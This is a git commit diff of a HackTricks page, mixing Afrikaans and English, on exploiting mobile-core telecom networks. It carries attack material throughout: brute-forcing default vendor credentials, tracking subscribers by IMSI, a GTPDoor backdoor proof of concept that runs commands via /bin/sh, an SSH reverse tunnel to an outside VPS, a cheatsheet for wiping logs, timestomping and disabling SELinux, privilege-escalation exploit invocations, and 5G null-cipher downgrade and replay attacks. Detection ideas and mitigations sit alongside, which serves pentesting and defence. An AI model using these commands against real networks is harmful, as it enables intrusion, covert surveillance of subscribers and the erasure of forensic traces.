mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
parent
44c23d67b4
commit
eb33c8cc69
@ -1,27 +1,27 @@
|
||||
# Telekom Netwerk Exploitatie (GTP / Roaming Omgewings)
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Mobiele-kern protokolle (GPRS Tunneling Protocol – GTP) beweeg dikwels oor semi-vertroude GRX/IPX roaming rugsteun. Omdat hulle op gewone UDP loop met byna geen verifikasie nie, **kan enige voetstuk binne 'n telekomperimeter gewoonlik direk toegang tot kern seinvlakke verkry**. Die volgende notas versamel offensiewe truuks wat in die natuur teen SGSN/GGSN, PGW/SGW en ander EPC nodes waargeneem is.
|
||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) dikwels traverse semi-trusted GRX/IPX roaming backbones. Omdat hulle op plain UDP loop met byna geen authentication nie, **enige foothold binne 'n telecom perimeter kan gewoonlik direk die core signalling planes bereik**. Die volgende notas versamel offensiewe truuks wat in die veld teen SGSN/GGSN, PGW/SGW en ander EPC-node waargeneem is.
|
||||
|
||||
## 1. Recon & Begin Toegang
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Standaard OSS / NE Rekeninge
|
||||
'n Verrassend groot stel verskaffer netwerk elemente word met hard-gecodeerde SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … verskaf. 'n Toegewyde woordlys verhoog die sukses van brute-force aanslae dramaties:
|
||||
'n Verstommend groot stel vendor netwerkelemente word uitgereik met hard-gekodeerde SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 'n Gespesialiseerde wordlist verhoog brute-force sukses dramaties:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
As die toestel slegs 'n bestuurs-VRF blootstel, draai eers deur 'n springgas (jump host) (sien afdeling «SGSN Emu Tunnel» hieronder).
|
||||
As die toestel slegs 'n management VRF blootstel, pivot eers deur 'n jump host (sien afdeling «SGSN Emu Tunnel» hieronder).
|
||||
|
||||
### 1.2 Gasheer Ontdekking binne GRX/IPX
|
||||
Meeste GRX-operateurs laat steeds **ICMP echo** oor die rugsteun toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP-probes om vinnig GTP-C luisteraars te karteer:
|
||||
### 1.2 Host-ontdekking binne GRX/IPX
|
||||
Die meeste GRX-operateurs laat steeds **ICMP echo** oor die backbone toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP-probes om vinnig GTP-C listeners te karteer:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Opname van Subscribers – `cordscan`
|
||||
## 2. Opsporing van intekenare – `cordscan`
|
||||
|
||||
Die volgende Go-instrument vervaardig **GTP-C Create PDP Context Request** pakkette en log die antwoorde. Elke antwoord onthul die huidige **SGSN / MME** wat die gevraagde IMSI bedien en, soms, die subscriber se besoekte PLMN.
|
||||
Die volgende Go-tool skep **GTP-C Create PDP Context Request** pakkette en registreer die antwoorde. Elke antwoord openbaar die huidige **SGSN / MME** wat die bevraagde IMSI bedien en, soms, die intekenaar se besoekte PLMN.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Belangrike vlae:
|
||||
- `--imsi` Teiken abonnee IMSI
|
||||
Sleutelvlae:
|
||||
- `--imsi` Teikenabonnee IMSI
|
||||
- `--oper` Tuis / HNI (MCC+MNC)
|
||||
- `-w` Skryf rou pakkette na pcap
|
||||
|
||||
Belangrike konstantes binne die binêre kan gepatch word om skande te verbreed:
|
||||
Belangrike konstantes binne die binary kan gepatched word om skanderings te verbreed:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Kode-uitvoering oor GTP – `GTPDoor`
|
||||
## 3. Kode‑uitvoering oor GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` is 'n klein ELF-diens wat **UDP 2123 bind en elke inkomende GTP-C-pakket ontleed**. Wanneer die payload met 'n vooraf gedeelde etiket begin, word die oorblywende gedeeltes ontsleutel (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word binne **Echo Response** boodskappe uitgevoer sodat daar nooit 'n uitgaande sessie geskep word nie.
|
||||
`GTPDoor` is 'n klein ELF‑diens wat **UDP 2123 bind en elke inkomende GTP‑C‑pakket ontleed**. Wanneer die payload begin met 'n vooraf gedeelde tag, word die res gedekripteer (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word exfiltrated binne **Echo Response** messages sodat geen uitgaande sessie ooit geskep word nie.
|
||||
|
||||
Minimale PoC-pakket (Python):
|
||||
Minimale PoC‑pakket (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
@ -52,40 +52,40 @@ cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detection:
|
||||
* enige gasheer wat **ongebalanseerde Echo Versoeke** na SGSN IP's stuur
|
||||
* GTP weergawe vlag op 1 gestel terwyl boodskap tipe = 1 (Echo) – afwyking van spesifikasie
|
||||
Opsporing:
|
||||
* enige host wat **unbalanced Echo Requests** na SGSN IPs stuur
|
||||
* GTP version flag op 1 gestel terwyl message type = 1 (Echo) – afwyking van die spesifikasie
|
||||
|
||||
## 4. Pivoting Deur die Kern
|
||||
## 4. Pivoting Deur die Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` verskaf 'n SGSN-emulator wat in staat is om **'n PDP-konteks na 'n werklike GGSN/PGW te vestig**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` koppelvlak wat bereikbaar is vanaf die roaming-peer.
|
||||
`OsmoGGSN` lewer 'n SGSN emulator wat in staat is om **establish a PDP context towards a real GGSN/PGW**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` interface wat vanaf die roaming peer bereikbaar is.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Met behoorlike firewall hair-pinning, omseil hierdie tonnel slegs signalering VLANs en land jy direk in die **data plane**.
|
||||
Met behoorlike firewall hair-pinning omseil hierdie tonnel signalling-only VLANs en beland jy direk in die **datavlak**.
|
||||
|
||||
### 4.2 SSH Terugtonnel oor Poort 53
|
||||
DNS is byna altyd oop in roaming infrastruktuur. Stel 'n interne SSH-diens bloot aan jou VPS wat luister op :53 en keer later terug van huis:
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens op jou VPS beskikbaar wat na :53 luister en keer later van die huis af terug:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Kontroleer dat `GatewayPorts yes` op die VPS geaktiveer is.
|
||||
Kontroleer dat `GatewayPorts yes` geaktiveer is op die VPS.
|
||||
|
||||
## 5. Verborgen Kanale
|
||||
## 5. Covert Channels
|
||||
|
||||
| Kanaal | Vervoer | Dekodering | Aantekeninge |
|
||||
|--------|---------|------------|--------------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte sleutel + 14-byte stukke (XOR) | suiwer passiewe luisteraar, geen uitgaande verkeer |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (sleutel = `funnyAndHappy`) gekodeer in A-record oktette | kyk vir `*.nodep` sub-domein |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | meng met wettige GTP-C geselskap |
|
||||
| Kanaal | Transport | Dekoding | Aantekeninge |
|
||||
|--------|-----------|----------|-------------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | puur passiewe luisteraar, geen uitgaande verkeer |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) geënkodeer in A-record octets | kyk uit vir `*.nodep` sub-domein |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | meng met legitieme GTP-C verkeer |
|
||||
|
||||
Alle implante implementeer wagte wat **timestomp** hul binaire en herlaai as dit gebroke is.
|
||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
|
||||
|
||||
## 6. Verdediging Ontduiking Cheatsheet
|
||||
## 6. Defense Evasion Cheatsheet
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Bevoegdheidstoename op Erfenis NE
|
||||
## 7. Privilege Escalation op Legacy NE
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -111,30 +111,137 @@ python3 PwnKit.py
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Skoonmaakwenk:
|
||||
Skoonmaak wenk:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Gereedskapkas
|
||||
## 8. Gereedskap
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – pasgemaakte gereedskap beskryf in vorige afdelings.
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
|
||||
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : liggewig SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversie / bates bridging
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. 5G NAS-registrasie-aanvalle: SUCI-lekke, afgradeer na EEA0/EIA0, en NAS-herspel
|
||||
|
||||
Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Tot NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer of enkripteer nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan waarneem of manipuleer (bv. on-path binne die core, rogue gNB, of testbed).
|
||||
|
||||
Registrasiestroom (vereenvoudig):
|
||||
- Registration Request: UE stuur SUCI (geënkripteerde SUPI) en vermoëns.
|
||||
- Authentication: AMF/AUSF stuur RAND/AUTN; UE stuur terug RES*.
|
||||
- Security Mode Command/Complete: NAS-integriteit en kodering word onderhandel en geaktiveer.
|
||||
- PDU Session Establishment: IP/QoS opstelling.
|
||||
|
||||
Lab opstelling wenke (non-RF):
|
||||
- Core: Open5GS se standaard-implementering is voldoende om vloei te reproduseer.
|
||||
- UE: simulator of toets-UE; dekodeer met Wireshark.
|
||||
- Aktiewe gereedskap: 5GReplay (vang/wysig/herspeel NAS binne NGAP), Sni5Gect (snuffel/pleister/inspuit NAS op die vlug sonder om 'n volledige rogue gNB op te stel).
|
||||
- Nuttige vertoonfilters in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identiteitsprivaatheid: SUCI-foute wat SUPI/IMSI blootstel
|
||||
Verwag: UE/USIM moet SUCI stuur (SUPI geënkripteer met die tuisnetwerk se publieke sleutel). Om 'n platte teks SUPI/IMSI in die Registration Request te vind dui 'n privaatheidsfout aan wat volgehoue abonnnee-opsporing moontlik maak.
|
||||
|
||||
Hoe om te toets:
|
||||
- Vang die eerste NAS-berig in InitialUEMessage en ondersoek die Mobile Identity IE.
|
||||
- Wireshark vinnige kontroles:
|
||||
- Dit moet as SUCI dekodeer, nie IMSI nie.
|
||||
- Filtervoorbeelde: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leakage.
|
||||
|
||||
Wat om te versamel:
|
||||
- MCC/MNC/MSIN indien blootgestel; log per-UE en volg oor tyd/liggings.
|
||||
|
||||
Mitigasie:
|
||||
- Handhaaf SUCI-only UE/USIMs; waarsku by enige IMSI/SUPI in die aanvanklike NAS.
|
||||
|
||||
### 9.2 Vermoë-afgradeer na nul-algoritmes (EEA0/EIA0)
|
||||
Agtergrond:
|
||||
- UE adverteer ondersteunde EEA (enkripsie) en EIA (integriteit) in die UE Security Capability IE van die Registration Request.
|
||||
- Algemene toewysings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes.
|
||||
|
||||
Probleem:
|
||||
- Omdat die Registration Request nie integriteitbeskerm is nie, kan 'n on-path aanvaller vermoë-bits uitvee om die keuse van EEA0/EIA0 later tydens Security Mode Command af te dwing. Sommige stacks laat verkeerdelik nul-algoritmes toe buite nooddienste.
|
||||
|
||||
Aanvalsritte:
|
||||
- Onderbreek InitialUEMessage en wysig die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
|
||||
- Met Sni5Gect, haak die NAS-berig en pleister die vermoë-bits voordat dit deurgestuur word.
|
||||
- Waarnem of AMF nul-sifrering/integriteit aanvaar en Security Mode met EEA0/EIA0 voltooi.
|
||||
|
||||
Verifikasie/sigbaarheid:
|
||||
- In Wireshark, bevestig die gekose algoritmes na Security Mode Command/Complete.
|
||||
- Voorbeeld van passiewe sniffer-uitset:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Mitigasies (moet):
|
||||
- Konfigureer AMF/policy om EEA0/EIA0 te weier, behalwe waar dit streng verpligtend is (bv., noodoprope).
|
||||
- Verkies om EEA2/EIA2 ten minste af te dwing; registreer en waarsku oor enige NAS security context wat null-algoritmes onderhandel.
|
||||
|
||||
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
||||
Omdat die aanvanklike NAS nie integriteit en nuutheid het nie, kan vasgevang InitialUEMessage+Registration Request na die AMF herspeel word.
|
||||
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
property_id="101"
|
||||
type_property="FORWARD"
|
||||
description="Forward InitialUEMessage with Registration Request">
|
||||
|
||||
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="1"
|
||||
description="Trigger: InitialUEMessage"
|
||||
boolean_expression="ngap.procedure_code == 15"/>
|
||||
|
||||
<!-- Context match on NAS Registration Request (message_type == 65) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="2"
|
||||
description="Context: Registration Request"
|
||||
boolean_expression="nas_5g.message_type == 65"/>
|
||||
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
Wat om waar te neem:
|
||||
- Of AMF die replay aanvaar en voortgaan na verifikasie; gebrek aan vernuwing-/konteksvalidasie dui op blootstelling.
|
||||
|
||||
Mitigerings:
|
||||
- Dwing herhalingsbeskerming/konteksbinding by AMF af; pas rate-limit toe en korreleer per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: spin up an AMF/SMF/UPF om die core te emuleer; observe N2 (NGAP) en NAS.
|
||||
- Wireshark: verifieer dekodes van NGAP/NAS; pas die filtere hierbo toe om Registration te isoleer.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject die NAS control-plane om null algorithms af te dwing of authentication-sekwense te versteur.
|
||||
|
||||
### 9.5 Verdedigende kontrolelys
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; blokkeer oortredende toestelle/USIMs.
|
||||
- Reject EEA0/EIA0 behalwe vir nou omskrewe noodprosedures; vereis minstens EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
|
||||
---
|
||||
## Opsporingsidees
|
||||
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests opstel**.
|
||||
2. **Nie-standaard poorte (53, 80, 443) wat SSH handdrukke ontvang** van interne IP's.
|
||||
3. **Frekwente Echo Versoeke sonder ooreenstemmende Echo Antwoorde** – kan GTPDoor bakens aandui.
|
||||
4. **Hoë tempo van ICMP echo-antwoorde verkeer met groot, nie-nul identifiseerder/volgorde velde**.
|
||||
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests tot stand bring**.
|
||||
2. **Nie-standaard poorte (53, 80, 443) wat SSH handshakes ontvang** van interne IPs.
|
||||
3. **Gereelde Echo Requests sonder ooreenstemmende Echo Responses** – kan op GTPDoor beacons dui.
|
||||
4. **Hoë tempo van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence velde**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** buite noodkontekste.
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltratie van Globale Telekomnetwerke](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user